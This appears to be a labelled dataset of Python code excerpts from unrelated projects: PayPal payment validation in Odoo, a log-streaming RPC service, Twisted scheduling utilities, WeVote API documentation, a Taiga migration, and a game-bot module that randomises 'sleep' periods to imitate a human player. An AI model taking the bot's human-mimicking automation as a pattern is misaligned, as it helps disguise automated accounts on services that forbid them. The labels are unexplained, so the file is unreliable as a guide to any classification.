_paypal_form_get_invalid_parameters(self, data): invalid_parameters = [] _logger.info('Received a notification from Paypal with IPN version %s', data.get('notify_version')) if data.get('test_ipn'): _logger.warning( 'Received a notification from Paypal using sandbox' ), # TODO: txn_id: shoudl be false at draft, set afterwards, and verified with txn details if self.acquirer_reference and data.get('txn_id') != self.acquirer_reference: invalid_parameters.append(('txn_id', data.get('txn_id'), self.acquirer_reference)) # check what is buyed if float_compare(float(data.get('mc_gross', '0.0')), (self.amount + self.fees), 2) != 0: invalid_parameters.append(('mc_gross', data.get('mc_gross'), '%.2f' % self.amount)) # mc_gross is amount + fees if data.get('mc_currency') != self.currency_id.name: invalid_parameters.append(('mc_currency', data.get('mc_currency'), self.currency_id.name)) if 'handling_amount' in data and float_compare(float(data.get('handling_amount')), self.fees, 2) != 0: invalid_parameters.append(('handling_amount', data.get('handling_amount'), self.fees)) # check buyer if self.payment_token_id and data.get('payer_id') != self.payment_token_id.acquirer_ref: invalid_parameters.append(('payer_id', data.get('payer_id'), self.payment_token_id.acquirer_ref)) # check seller if data.get('receiver_id') and self.acquirer_id.paypal_seller_account and data['receiver_id'] != self.acquirer_id.paypal_seller_account: invalid_parameters.append(('receiver_id', data.get('receiver_id'), self.acquirer_id.paypal_seller_account)) if not data.get('receiver_id') or not self.acquirer_id.paypal_seller_account: # Check receiver_email only if receiver_id was not checked. # In Paypal, this is possible to configure as receiver_email a different email than the business email (the login email) # In Odoo, there is only one field for the Paypal email: the business email. This isn't possible to set a receiver_email # different than the business email. Therefore, if you want such a configuration in your Paypal, you are then obliged to fill # the Merchant ID in the Paypal payment acquirer in Odoo, so the check is performed on this variable instead of the receiver_email. # At least one of the two checks must be done, to avoid fraudsters. if data.get('receiver_email') != self.acquirer_id.paypal_email_account: invalid_parameters.append(('receiver_email', data.get('receiver_email'), self.acquirer_id.paypal_email_account)) return invalid_parameters @api.multi def _paypal_form_validate(self, data): status = data.get('payment_status') res = { 'acquirer_reference': data.get('txn_id'), 'paypal_txn_type': data.get('payment_type'), } if status in ['Completed', 'Processed']: _logger.info('Validated Paypal payment for tx %s: set as done' % (self.reference)) try: # dateutil and pytz don't recognize abbreviations PDT/PST tzinfos = { 'PST': -8 * 3600, 'PDT': -7 * 3600, } date = dateutil.parser.parse(data.get('payment_date'), tzinfos=tzinfos).astimezone(pytz.utc) except: date = fields.Datetime.now() res.update(date=date) self._set_transaction_done() return self.write(res) elif status in ['Pending', 'Expired']: _logger.info('Received notification for Paypal payment %s: set as pending' % (self.reference)) res.update(state_message=data.get('pending_reason', '')) self._set_transaction_pending() return self.write(res) else: error = 'Received unrecognized status for Paypal payment %s: %s, set as error' % (self.reference, status) _logger.info(error) res.update(state_message=error) self._set_transaction_cancel() return self.write(res) ",1 "el for root logger so it will be possible for a client # to subscribe and receive logs for any log level logger.setLevel(0) class QueueingLogHandler(logging.Handler): """""" A simple logging handler which puts all emitted logs into a gevent queue. """""" def __init__(self, queue, level, formatter): super(QueueingLogHandler, self).__init__() self._queue = queue self.setLevel(level) self.setFormatter(formatter) def emit(self, record): msg = self.format(record) self._queue.put_nowait(msg) def close(self): super(QueueingLogHandler, self).close() self._queue.put_nowait(None) @property def emitted(self): return self._queue class TestService(object): _HANDLER_CLASS = QueueingLogHandler _DEFAULT_FORMAT = '%(name)s - %(levelname)s - %(asctime)s - %(message)s' logger = logging.getLogger(""service"") def __init__(self): self._logging_handlers = set() def test(self, logger_name, logger_level, message): logger = logging.getLogger(logger_name) getattr(logger, logger_level.lower())(message) def available_loggers(self): """""" List of initalized loggers """""" return logging.getLogger().manager.loggerDict.keys() def close_log_streams(self): """""" Closes all log_stream streams. """""" while self._logging_handlers: self._logging_handlers.pop().close() @zerorpc.stream def log_stream(self, logger_name, level_name, format_str): """""" Attaches a log handler to the specified logger and sends emitted logs back as stream. """""" if logger_name != """" and logger_name not in self.available_loggers(): raise ValueError(""logger {0} is not available"".format(logger_name)) level_name_upper = level_name.upper() if level_name else ""NOTSET"" try: level = getattr(logging, level_name_upper) except AttributeError, e: raise AttributeError(""log level {0} is not available"".format(level_name_upper)) q = gevent.queue.Queue() fmt = format_str if format_str.strip() else self._DEFAULT_FORMAT logger = logging.getLogger(logger_name) formatter = logging.Formatter(fmt) handler = self._HANDLER_CLASS(q, level, formatter) logger.addHandler(handler) self._logging_handlers.add(handler) self.logger.debug(""new subscriber for {0}/{1}"".format(logger_name or ""root"", level_name_upper)) try: for msg in handler.emitted: if msg is None: return yield msg finally: self._logging_handlers.discard(handler) handler.close() self.logger.debug(""subscription finished for {0}/{1}"".format(logger_name or ""root"", level_name_upper)) if __name__ == ""__main__"": service = TestService() server = zerorpc.Server(service) server.bind(sys.argv[1]) logger.warning(""starting service"") try: server.run() except BaseException, e: logger.error(str(e)) finally: logger.warning(""shutting down"") ",1 "gpl). from openerp.addons.financial.tests.financial_test_classes import \ FinancialTestCase class ManualFinancialProcess(FinancialTestCase): def setUp(self): self.financial_model = self.env['financial.move'] super(ManualFinancialProcess, self).setUp() def test_01_check_return_views(self): """"""Check if view is correctly called for python code"""""" # test for len(financial.move) == 1 financial_move_id = self.financial_model.search([], limit=1) action = financial_move_id.action_view_financial('2receive') self.assertEqual( action.get('display_name'), 'financial.move.debt.2receive.form (in financial)') self.assertEqual( action.get('res_id'), financial_move_id.id) action = financial_move_id.action_view_financial('2pay') self.assertEqual( action.get('display_name'), 'financial.move.debt.2pay.form (in financial)') self.assertEqual( action.get('res_id'), financial_move_id.id) # test for len(financial.move) > 1 financial_move_id = self.financial_model.search([], limit=2) action = financial_move_id.action_view_financial('2pay') self.assertEqual(action.get('domain')[0][2], financial_move_id.ids) # test for len(financial.move) < 1 action = self.financial_model.action_view_financial('2pay') self.assertEqual(action.get('type'), 'ir.actions.act_window_close') ",1 "of the bot every day for some time Simulates the user going to sleep every day for some time, the sleep time and the duration is changed every day by a random offset defined in the config file Example Config: ""sleep_schedule"": [ { ""time"": ""12:00"", ""duration"": ""5:30"", ""time_random_offset"": ""00:30"", ""duration_random_offset"": ""00:30"", ""wake_up_at_location"": """" }, { ""time"": ""17:45"", ""duration"": ""3:00"", ""time_random_offset"": ""01:00"", ""duration_random_offset"": ""00:30"", ""wake_up_at_location"": """" } ] time: (HH:MM) local time that the bot should sleep duration: (HH:MM) the duration of sleep time_random_offset: (HH:MM) random offset of time that the sleep will start for this example the possible start time is 11:30-12:30 duration_random_offset: (HH:MM) random offset of duration of sleep for this example the possible duration is 5:00-6:00 wake_up_at_location: (lat, long | lat, long, alt | """") the location at which the bot wake up *Note that an empty string ("""") will not change the location*. """""" LOG_INTERVAL_SECONDS = 600 SCHEDULING_MARGIN = timedelta(minutes=10) # Skip if next sleep is RESCHEDULING_MARGIN from now def __init__(self, bot, config): self.bot = bot self._process_config(config) self._schedule_next_sleep() self._calculate_current_sleep() def work(self): if self._should_sleep_now(): self._sleep() wake_up_at_location = self._wake_up_at_location self._schedule_next_sleep() if wake_up_at_location: if hasattr(self.bot, 'api'): # Check if api is already initialized self.bot.api.set_position(wake_up_at_location[0],wake_up_at_location[1],wake_up_at_location[2]) else: self.bot.wake_location = wake_up_at_location if hasattr(self.bot, 'api'): self.bot.login() # Same here def _process_config(self, config): self.entries = [] for entry in config: prepared = {} prepared['time'] = datetime.strptime(entry['time'] if 'time' in entry else '01:00', '%H:%M') # Using datetime for easier stripping of timedeltas raw_duration = datetime.strptime(entry['duration'] if 'duration' in entry else '07:00', '%H:%M') duration = int(timedelta(hours=raw_duration.hour, minutes=raw_duration.minute).total_seconds()) raw_time_random_offset = datetime.strptime(entry['time_random_offset'] if 'time_random_offset' in entry else '01:00', '%H:%M') time_random_offset = int( timedelta( hours=raw_time_random_offset.hour, minutes=raw_time_random_offset.minute).total_seconds()) raw_duration_random_offset = datetime.strptime(entry['duration_random_offset'] if 'duration_random_offset' in entry else '00:30', '%H:%M') duration_random_offset = int( timedelta( hours=raw_duration_random_offset.hour, minutes=raw_duration_random_offset.minute).total_seconds()) raw_wake_up_at_location = entry['wake_up_at_location'] if 'wake_up_at_location' in entry else '' if raw_wake_up_at_location: try: wake_up_at_location = raw_wake_up_at_location.split(',',2) lat=float(wake_up_at_location[0]) lng=float(wake_up_at_location[1]) if len(wake_up_at_location) == 3: alt=float(wake_up_at_location[2]) else: alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max) except ValueError: raise ValueError('SleepSchedule wake_up_at_location, parsing error in location') #TODO there must be a more elegant way to do it... prepared['wake_up_at_location'] = [lat, lng, alt] prepared['duration'] = duration prepared['time_random_offset'] = time_random_offset prepared['duration_random_offset'] = duration_random_offset self.entries.append(prepared) def _schedule_next_sleep(self): self._next_sleep, self._next_duration, self._wake_up_at_location = self._get_next_sleep_schedule() self.bot.event_manager.emit( 'next_sleep', sender=self, formatted=""Next sleep at {time}"", data={ 'time': str(self._next_sleep) } ) def _calculate_current_sleep(self): self._current_sleep = self._next_sleep - timedelta(days=1) current_duration = self._next_duration self._current_end = self._current_sleep + timedelta(seconds = current_duration) def _should_sleep_now(self): if datetime.now() >= self._next_sleep: return True if datetime.now() >= self._current_sleep and datetime.now() < self._current_end: self._next_duration = (self._current_end - datetime.now()).total_seconds() return True return False def _get_next_sleep_schedule(self): now = datetime.now() + self.SCHEDULING_MARGIN times = [] for index in range(len(self.entries)): next_time = now.replace(hour=self.entries[index]['time'].hour, minute=self.entries[index]['time'].minute) next_time += timedelta(seconds=self._get_random_offset(self.entries[index]['time_random_offset'])) # If sleep time is passed add one day if next_time <= now: next_time += timedelta(days=1) times.append(next_time) diffs = {} for index in range(len(self.entries)): diff = (times[index]-now).total_seconds() if diff >= 0: diffs[index] = diff closest = min(diffs.iterkeys(), key=lambda x: diffs[x]) next_time = times[closest] next_duration = self._get_next_duration(self.entries[closest]) location = self.entries[closest]['wake_up_at_location'] if 'wake_up_at_location' in self.entries[closest] else '' return next_time, next_duration, location def _get_next_duration(self, entry): duration = entry['duration'] + self._get_random_offset(entry['duration_random_offset']) return duration def _get_random_offset(self, max_offset): offset = uniform(-max_offset, max_offset) return int(offset) def _sleep(self): sleep_to_go = self._next_duration sleep_m, sleep_s = divmod(sleep_to_go, 60) sleep_h, sleep_m = divmod(sleep_m, 60) sleep_hms = '%02d:%02d:%02d' % (sleep_h, sleep_m, sleep_s) now = datetime.now() wake = str(now + timedelta(seconds=sleep_to_go)) self.bot.event_manager.emit( 'bot_sleep', sender=self, formatted=""Sleeping for {time_hms}, wake at {wake}"", data={ 'time_hms': sleep_hms, 'wake': wake } ) while sleep_to_go > 0: if sleep_to_go < self.LOG_INTERVAL_SECONDS: sleep(sleep_to_go) sleep_to_go = 0 else: sleep(self.LOG_INTERVAL_SECONDS) sleep_to_go -= self.LOG_INTERVAL_SECONDS ",1 " """""" Scheduling utility methods and classes. @author: Jp Calderone """""" __metaclass__ = type import time from zope.interface import implements from twisted.python import reflect from twisted.python.failure import Failure from twisted.internet import base, defer from twisted.internet.interfaces import IReactorTime class LoopingCall: """"""Call a function repeatedly. If C{f} returns a deferred, rescheduling will not take place until the deferred has fired. The result value is ignored. @ivar f: The function to call. @ivar a: A tuple of arguments to pass the function. @ivar kw: A dictionary of keyword arguments to pass to the function. @ivar clock: A provider of L{twisted.internet.interfaces.IReactorTime}. The default is L{twisted.internet.reactor}. Feel free to set this to something else, but it probably ought to be set *before* calling L{start}. @type running: C{bool} @ivar running: A flag which is C{True} while C{f} is scheduled to be called (or is currently being called). It is set to C{True} when L{start} is called and set to C{False} when L{stop} is called or if C{f} raises an exception. In either case, it will be C{False} by the time the C{Deferred} returned by L{start} fires its callback or errback. @type _expectNextCallAt: C{float} @ivar _expectNextCallAt: The time at which this instance most recently scheduled itself to run. @type _realLastTime: C{float} @ivar _realLastTime: When counting skips, the time at which the skip counter was last invoked. @type _runAtStart: C{bool} @ivar _runAtStart: A flag indicating whether the 'now' argument was passed to L{LoopingCall.start}. """""" call = None running = False deferred = None interval = None _expectNextCallAt = 0.0 _runAtStart = False starttime = None def __init__(self, f, *a, **kw): self.f = f self.a = a self.kw = kw from twisted.internet import reactor self.clock = reactor def withCount(cls, countCallable): """""" An alternate constructor for L{LoopingCall} that makes available the number of calls which should have occurred since it was last invoked. Note that this number is an C{int} value; It represents the discrete number of calls that should have been made. For example, if you are using a looping call to display an animation with discrete frames, this number would be the number of frames to advance. The count is normally 1, but can be higher. For example, if the reactor is blocked and takes too long to invoke the L{LoopingCall}, a Deferred returned from a previous call is not fired before an interval has elapsed, or if the callable itself blocks for longer than an interval, preventing I{itself} from being called. @param countCallable: A callable that will be invoked each time the resulting LoopingCall is run, with an integer specifying the number of calls that should have been invoked. @type countCallable: 1-argument callable which takes an C{int} @return: An instance of L{LoopingCall} with call counting enabled, which provides the count as the first positional argument. @rtype: L{LoopingCall} @since: 9.0 """""" def counter(): now = self.clock.seconds() lastTime = self._realLastTime if lastTime is None: lastTime = self.starttime if self._runAtStart: lastTime -= self.interval self._realLastTime = now lastInterval = self._intervalOf(lastTime) thisInterval = self._intervalOf(now) count = thisInterval - lastInterval return countCallable(count) self = cls(counter) self._realLastTime = None return self withCount = classmethod(withCount) def _intervalOf(self, t): """""" Determine the number of intervals passed as of the given point in time. @param t: The specified time (from the start of the L{LoopingCall}) to be measured in intervals @return: The C{int} number of intervals which have passed as of the given point in time. """""" elapsedTime = t - self.starttime intervalNum = int(elapsedTime / self.interval) return intervalNum def start(self, interval, now=True): """""" Start running function every interval seconds. @param interval: The number of seconds between calls. May be less than one. Precision will depend on the underlying platform, the available hardware, and the load on the system. @param now: If True, run this call right now. Otherwise, wait until the interval has elapsed before beginning. @return: A Deferred whose callback will be invoked with C{self} when C{self.stop} is called, or whose errback will be invoked when the function raises an exception or returned a deferred that has its errback invoked. """""" assert not self.running, (""Tried to start an already running "" ""LoopingCall."") if interval < 0: raise ValueError, ""interval must be >= 0"" self.running = True d = self.deferred = defer.Deferred() self.starttime = self.clock.seconds() self._expectNextCallAt = self.starttime self.interval = interval self._runAtStart = now if now: self() else: self._reschedule() return d def stop(self): """"""Stop running function. """""" assert self.running, (""Tried to stop a LoopingCall that was "" ""not running."") self.running = False if self.call is not None: self.call.cancel() self.call = None d, self.deferred = self.deferred, None d.callback(self) def reset(self): """""" Skip the next iteration and reset the timer. @since: 11.1 """""" assert self.running, (""Tried to reset a LoopingCall that was "" ""not running."") if self.call is not None: self.call.cancel() self.call = None self._expectNextCallAt = self.clock.seconds() self._reschedule() def __call__(self): def cb(result): if self.running: self._reschedule() else: d, self.deferred = self.deferred, None d.callback(self) def eb(failure): self.running = False d, self.deferred = self.deferred, None d.errback(failure) self.call = None d = defer.maybeDeferred(self.f, *self.a, **self.kw) d.addCallback(cb) d.addErrback(eb) def _reschedule(self): """""" Schedule the next iteration of this looping call. """""" if self.interval == 0: self.call = self.clock.callLater(0, self) return currentTime = self.clock.seconds() # Find how long is left until the interval comes around again. untilNextTime = (self._expectNextCallAt - currentTime) % self.interval # Make sure it is in the future, in case more than one interval worth # of time passed since the previous call was made. nextTime = max( self._expectNextCallAt + self.interval, currentTime + untilNextTime) # If the interval falls on the current time exactly, skip it and # schedule the call for the next interval. if nextTime == currentTime: nextTime += self.interval self._expectNextCallAt = nextTime self.call = self.clock.callLater(nextTime - currentTime, self) def __repr__(self): if hasattr(self.f, 'func_name'): func = self.f.func_name if hasattr(self.f, 'im_class'): func = self.f.im_class.__name__ + '.' + func else: func = reflect.safe_repr(self.f) return 'LoopingCall<%r>(%s, *%s, **%s)' % ( self.interval, func, reflect.safe_repr(self.a), reflect.safe_repr(self.kw)) class SchedulerError(Exception): """""" The operation could not be completed because the scheduler or one of its tasks was in an invalid state. This exception should not be raised directly, but is a superclass of various scheduler-state-related exceptions. """""" class SchedulerStopped(SchedulerError): """""" The operation could not complete because the scheduler was stopped in progress or was already stopped. """""" class TaskFinished(SchedulerError): """""" The operation could not complete because the task was already completed, stopped, encountered an error or otherwise permanently stopped running. """""" class TaskDone(TaskFinished): """""" The operation could not complete because the task was already completed. """""" class TaskStopped(TaskFinished): """""" The operation could not complete because the task was stopped. """""" class TaskFailed(TaskFinished): """""" The operation could not complete because the task died with an unhandled error. """""" class NotPaused(SchedulerError): """""" This exception is raised when a task is resumed which was not previously paused. """""" class _Timer(object): MAX_SLICE = 0.01 def __init__(self): self.end = time.time() + self.MAX_SLICE def __call__(self): return time.time() >= self.end _EPSILON = 0.00000001 def _defaultScheduler(x): from twisted.internet import reactor return reactor.callLater(_EPSILON, x) class CooperativeTask(object): """""" A L{CooperativeTask} is a task object inside a L{Cooperator}, which can be paused, resumed, and stopped. It can also have its completion (or termination) monitored. @see: L{CooperativeTask.cooperate} @ivar _iterator: the iterator to iterate when this L{CooperativeTask} is asked to do work. @ivar _cooperator: the L{Cooperator} that this L{CooperativeTask} participates in, which is used to re-insert it upon resume. @ivar _deferreds: the list of L{defer.Deferred}s to fire when this task completes, fails, or finishes. @type _deferreds: L{list} @type _cooperator: L{Cooperator} @ivar _pauseCount: the number of times that this L{CooperativeTask} has been paused; if 0, it is running. @type _pauseCount: L{int} @ivar _completionState: The completion-state of this L{CooperativeTask}. C{None} if the task is not yet completed, an instance of L{TaskStopped} if C{stop} was called to stop this task early, of L{TaskFailed} if the application code in the iterator raised an exception which caused it to terminate, and of L{TaskDone} if it terminated normally via raising L{StopIteration}. @type _completionState: L{TaskFinished} """""" def __init__(self, iterator, cooperator): """""" A private constructor: to create a new L{CooperativeTask}, see L{Cooperator.cooperate}. """""" self._iterator = iterator self._cooperator = cooperator self._deferreds = [] self._pauseCount = 0 self._completionState = None self._completionResult = None cooperator._addTask(self) def whenDone(self): """""" Get a L{defer.Deferred} notification of when this task is complete. @return: a L{defer.Deferred} that fires with the C{iterator} that this L{CooperativeTask} was created with when the iterator has been exhausted (i.e. its C{next} method has raised L{StopIteration}), or fails with the exception raised by C{next} if it raises some other exception. @rtype: L{defer.Deferred} """""" d = defer.Deferred() if self._completionState is None: self._deferreds.append(d) else: d.callback(self._completionResult) return d def pause(self): """""" Pause this L{CooperativeTask}. Stop doing work until L{CooperativeTask.resume} is called. If C{pause} is called more than once, C{resume} must be called an equal number of times to resume this task. @raise TaskFinished: if this task has already finished or completed. """""" self._checkFinish() self._pauseCount += 1 if self._pauseCount == 1: self._cooperator._removeTask(self) def resume(self): """""" Resume processing of a paused L{CooperativeTask}. @raise NotPaused: if this L{CooperativeTask} is not paused. """""" if self._pauseCount == 0: raise NotPaused() self._pauseCount -= 1 if self._pauseCount == 0 and self._completionState is None: self._cooperator._addTask(self) def _completeWith(self, completionState, deferredResult): """""" @param completionState: a L{TaskFinished} exception or a subclass thereof, indicating what exception should be raised when subsequent operations are performed. @param deferredResult: the result to fire all the deferreds with. """""" self._completionState = completionState self._completionResult = deferredResult if not self._pauseCount: self._cooperator._removeTask(self) # The Deferreds need to be invoked after all this is completed, because # a Deferred may want to manipulate other tasks in a Cooperator. For # example, if you call ""stop()"" on a cooperator in a callback on a # Deferred returned from whenDone(), this CooperativeTask must be gone # from the Cooperator by that point so that _completeWith is not # invoked reentrantly; that would cause these Deferreds to blow up with # an AlreadyCalledError, or the _removeTask to fail with a ValueError. for d in self._deferreds: d.callback(deferredResult) def stop(self): """""" Stop further processing of this task. @raise TaskFinished: if this L{CooperativeTask} has previously completed, via C{stop}, completion, or failure. """""" self._checkFinish() self._completeWith(TaskStopped(), Failure(TaskStopped())) def _checkFinish(self): """""" If this task has been stopped, raise the appropriate subclass of L{TaskFinished}. """""" if self._completionState is not None: raise self._completionState def _oneWorkUnit(self): """""" Perform one unit of work for this task, retrieving one item from its iterator, stopping if there are no further items in the iterator, and pausing if the result was a L{defer.Deferred}. """""" try: result = self._iterator.next() except StopIteration: self._completeWith(TaskDone(), self._iterator) except: self._completeWith(TaskFailed(), Failure()) else: if isinstance(result, defer.Deferred): self.pause() def failLater(f): self._completeWith(TaskFailed(), f) result.addCallbacks(lambda result: self.resume(), failLater) class Cooperator(object): """""" Cooperative task scheduler. """""" def __init__(self, terminationPredicateFactory=_Timer, scheduler=_defaultScheduler, started=True): """""" Create a scheduler-like object to which iterators may be added. @param terminationPredicateFactory: A no-argument callable which will be invoked at the beginning of each step and should return a no-argument callable which will return True when the step should be terminated. The default factory is time-based and allows iterators to run for 1/100th of a second at a time. @param scheduler: A one-argument callable which takes a no-argument callable and should invoke it at some future point. This will be used to schedule each step of this Cooperator. @param started: A boolean which indicates whether iterators should be stepped as soon as they are added, or if they will be queued up until L{Cooperator.start} is called. """""" self._tasks = [] self._metarator = iter(()) self._terminationPredicateFactory = terminationPredicateFactory self._scheduler = scheduler self._delayedCall = None self._stopped = False self._started = started def coiterate(self, iterator, doneDeferred=None): """""" Add an iterator to the list of iterators this L{Cooperator} is currently running. @param doneDeferred: If specified, this will be the Deferred used as the completion deferred. It is suggested that you use the default, which creates a new Deferred for you. @return: a Deferred that will fire when the iterator finishes. """""" if doneDeferred is None: doneDeferred = defer.Deferred() CooperativeTask(iterator, self).whenDone().chainDeferred(doneDeferred) return doneDeferred def cooperate(self, iterator): """""" Start running the given iterator as a long-running cooperative task, by calling next() on it as a periodic timed event. @param iterator: the iterator to invoke. @return: a L{CooperativeTask} object representing this task. """""" return CooperativeTask(iterator, self) def _addTask(self, task): """""" Add a L{CooperativeTask} object to this L{Cooperator}. """""" if self._stopped: self._tasks.append(task) # XXX silly, I know, but _completeWith # does the inverse task._completeWith(SchedulerStopped(), Failure(SchedulerStopped())) else: self._tasks.append(task) self._reschedule() def _removeTask(self, task): """""" Remove a L{CooperativeTask} from this L{Cooperator}. """""" self._tasks.remove(task) # If no work left to do, cancel the delayed call: if not self._tasks and self._delayedCall: self._delayedCall.cancel() self._delayedCall = None def _tasksWhileNotStopped(self): """""" Yield all L{CooperativeTask} objects in a loop as long as this L{Cooperator}'s termination condition has not been met. """""" terminator = self._terminationPredicateFactory() while self._tasks: for t in self._metarator: yield t if terminator(): return self._metarator = iter(self._tasks) def _tick(self): """""" Run one scheduler tick. """""" self._delayedCall = None for taskObj in self._tasksWhileNotStopped(): taskObj._oneWorkUnit() self._reschedule() _mustScheduleOnStart = False def _reschedule(self): if not self._started: self._mustScheduleOnStart = True return if self._delayedCall is None and self._tasks: self._delayedCall = self._scheduler(self._tick) def start(self): """""" Begin scheduling steps. """""" self._stopped = False self._started = True if self._mustScheduleOnStart: del self._mustScheduleOnStart self._reschedule() def stop(self): """""" Stop scheduling steps. Errback the completion Deferreds of all iterators which have been added and forget about them. """""" self._stopped = True for taskObj in self._tasks: taskObj._completeWith(SchedulerStopped(), Failure(SchedulerStopped())) self._tasks = [] if self._delayedCall is not None: self._delayedCall.cancel() self._delayedCall = None _theCooperator = Cooperator() def coiterate(iterator): """""" Cooperatively iterate over the given iterator, dividing runtime between it and all other iterators which have been passed to this function and not yet exhausted. """""" return _theCooperator.coiterate(iterator) def cooperate(iterator): """""" Start running the given iterator as a long-running cooperative task, by calling next() on it as a periodic timed event. @param iterator: the iterator to invoke. @return: a L{CooperativeTask} object representing this task. """""" return _theCooperator.cooperate(iterator) class Clock: """""" Provide a deterministic, easily-controlled implementation of L{IReactorTime.callLater}. This is commonly useful for writing deterministic unit tests for code which schedules events using this API. """""" implements(IReactorTime) rightNow = 0.0 def __init__(self): self.calls = [] def seconds(self): """""" Pretend to be time.time(). This is used internally when an operation such as L{IDelayedCall.reset} needs to determine a a time value relative to the current time. @rtype: C{float} @return: The time which should be considered the current time. """""" return self.rightNow def _sortCalls(self): """""" Sort the pending calls according to the time they are scheduled. """""" self.calls.sort(lambda a, b: cmp(a.getTime(), b.getTime())) def callLater(self, when, what, *a, **kw): """""" See L{twisted.internet.interfaces.IReactorTime.callLater}. """""" dc = base.DelayedCall(self.seconds() + when, what, a, kw, self.calls.remove, lambda c: None, self.seconds) self.calls.append(dc) self._sortCalls() return dc def getDelayedCalls(self): """""" See L{twisted.internet.interfaces.IReactorTime.getDelayedCalls} """""" return self.calls def advance(self, amount): """""" Move time on this clock forward by the given amount and run whatever pending calls should be run. @type amount: C{float} @param amount: The number of seconds which to advance this clock's time. """""" self.rightNow += amount self._sortCalls() while self.calls and self.calls[0].getTime() <= self.seconds(): call = self.calls.pop(0) call.called = 1 call.func(*call.args, **call.kw) self._sortCalls() def pump(self, timings): """""" Advance incrementally by the given set of times. @type timings: iterable of C{float} """""" for amount in timings: self.advance(amount) def deferLater(clock, delay, callable, *args, **kw): """""" Call the given function after a certain period of time has passed. @type clock: L{IReactorTime} provider @param clock: The object which will be used to schedule the delayed call. @type delay: C{float} or C{int} @param delay: The number of seconds to wait before calling the function. @param callable: The object to call after the delay. @param *args: The positional arguments to pass to C{callable}. @param **kw: The keyword arguments to pass to C{callable}. @rtype: L{defer.Deferred} @return: A deferred that fires with the result of the callable when the specified time has elapsed. """""" def deferLaterCancel(deferred): delayedCall.cancel() d = defer.Deferred(deferLaterCancel) d.addCallback(lambda ignored: callable(*args, **kw)) delayedCall = clock.callLater(delay, d.callback, None) return d __all__ = [ 'LoopingCall', 'Clock', 'SchedulerStopped', 'Cooperator', 'coiterate', 'deferLater', ] ",1 "mplate_values(url_root): """""" Show documentation about voterStarOnSave """""" required_query_parameter_list = [ { 'name': 'api_key', 'value': 'string (from post, cookie, or get (in that order))', # boolean, integer, long, string 'description': 'The unique key provided to any organization using the WeVoteServer APIs', }, { 'name': 'voter_device_id', 'value': 'string', # boolean, integer, long, string 'description': 'An 88 character unique identifier linked to a voter record on the server', }, { 'name': 'kind_of_ballot_item', 'value': 'string', # boolean, integer, long, string 'description': 'What is the type of ballot item for which we are saving the \'on\' status? ' '(kind_of_ballot_item is either ""OFFICE"", ""CANDIDATE"", ""POLITICIAN"" or ""MEASURE"")', }, { 'name': 'ballot_item_id', 'value': 'integer', # boolean, integer, long, string 'description': 'The unique internal identifier for this ballot_item ' '(either ballot_item_id OR ballot_item_we_vote_id required -- not both. ' 'If it exists, ballot_item_id is used instead of ballot_item_we_vote_id)', }, { 'name': 'ballot_item_we_vote_id', 'value': 'string', # boolean, integer, long, string 'description': 'The unique identifier for this ballot_item across all networks ' '(either ballot_item_id OR ballot_item_we_vote_id required -- not both. ' 'NOTE: In the future we might support other identifiers used in the industry.', }, ] optional_query_parameter_list = [ ] potential_status_codes_list = [ { 'code': 'VALID_VOTER_DEVICE_ID_MISSING', 'description': 'Cannot proceed. A valid voter_device_id parameter was not included.', }, { 'code': 'VALID_VOTER_ID_MISSING', 'description': 'Cannot proceed. Missing voter_id while trying to save.', }, { 'code': 'STAR_ON_OFFICE CREATE/UPDATE ITEM_STARRED', 'description': '', }, { 'code': 'STAR_ON_CANDIDATE CREATE/UPDATE ITEM_STARRED', 'description': '', }, { 'code': 'STAR_ON_MEASURE CREATE/UPDATE ITEM_STARRED', 'description': '', }, ] try_now_link_variables_dict = { 'kind_of_ballot_item': 'CANDIDATE', 'ballot_item_id': '5655', } api_response = '{\n' \ ' ""status"": string (description of what happened),\n' \ ' ""success"": boolean (did the save happen?),\n' \ ' ""ballot_item_id"": integer,\n' \ ' ""ballot_item_we_vote_id"": string,\n' \ ' ""kind_of_ballot_item"": string (CANDIDATE, MEASURE),\n' \ '}' template_values = { 'api_name': 'voterStarOnSave', 'api_slug': 'voterStarOnSave', 'api_introduction': ""Save or create private 'star on' state for the current voter for a measure, an office or candidate."", 'try_now_link': 'apis_v1:voterStarOnSaveView', 'try_now_link_variables_dict': try_now_link_variables_dict, 'url_root': url_root, 'get_or_post': 'GET', 'required_query_parameter_list': required_query_parameter_list, 'optional_query_parameter_list': optional_query_parameter_list, 'api_response': api_response, 'api_response_notes': """", 'potential_status_codes_list': potential_status_codes_list, } return template_values ",1 "go_pgjson.fields import django.utils.timezone import django.db.models.deletion import djorm_pgarray.fields import taiga.projects.history.models class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('users', '0002_auto_20140903_0916'), ] operations = [ migrations.CreateModel( name='Membership', fields=[ ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')), ('is_owner', models.BooleanField(default=False)), ('email', models.EmailField(max_length=255, null=True, default=None, verbose_name='email', blank=True)), ('created_at', models.DateTimeField(default=django.utils.timezone.now, verbose_name='creado el')), ('token', models.CharField(max_length=60, null=True, default=None, verbose_name='token', blank=True)), ('invited_by_id', models.IntegerField(null=True, blank=True)), ], options={ 'ordering': ['project', 'user__full_name', 'user__username', 'user__email', 'email'], 'verbose_name_plural': 'membershipss', 'permissions': (('view_membership', 'Can view membership'),), 'verbose_name': 'membership', }, bases=(models.Model,), ), migrations.CreateModel( name='Project', fields=[ ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')), ('tags', djorm_pgarray.fields.TextArrayField(dbtype='text', verbose_name='tags')), ('name', models.CharField(max_length=250, unique=True, verbose_name='name')), ('slug', models.SlugField(max_length=250, unique=True, verbose_name='slug', blank=True)), ('description', models.TextField(verbose_name='description')), ('created_date', models.DateTimeField(default=django.utils.timezone.now, verbose_name='created date')), ('modified_date', models.DateTimeField(verbose_name='modified date')), ('total_milestones', models.IntegerField(null=True, default=0, verbose_name='total of milestones', blank=True)), ('total_story_points', models.FloatField(default=0, verbose_name='total story points')), ('is_backlog_activated', models.BooleanField(default=True, verbose_name='active backlog panel')), ('is_kanban_activated', models.BooleanField(default=False, verbose_name='active kanban panel')), ('is_wiki_activated', models.BooleanField(default=True, verbose_name='active wiki panel')), ('is_issues_activated', models.BooleanField(default=True, verbose_name='active issues panel')), ('videoconferences', models.CharField(max_length=250, null=True, choices=[('appear-in', 'AppearIn'), ('talky', 'Talky'), ('jitsi', 'Jitsi')], verbose_name='videoconference system', blank=True)), ('videoconferences_salt', models.CharField(max_length=250, null=True, verbose_name='videoconference room salt', 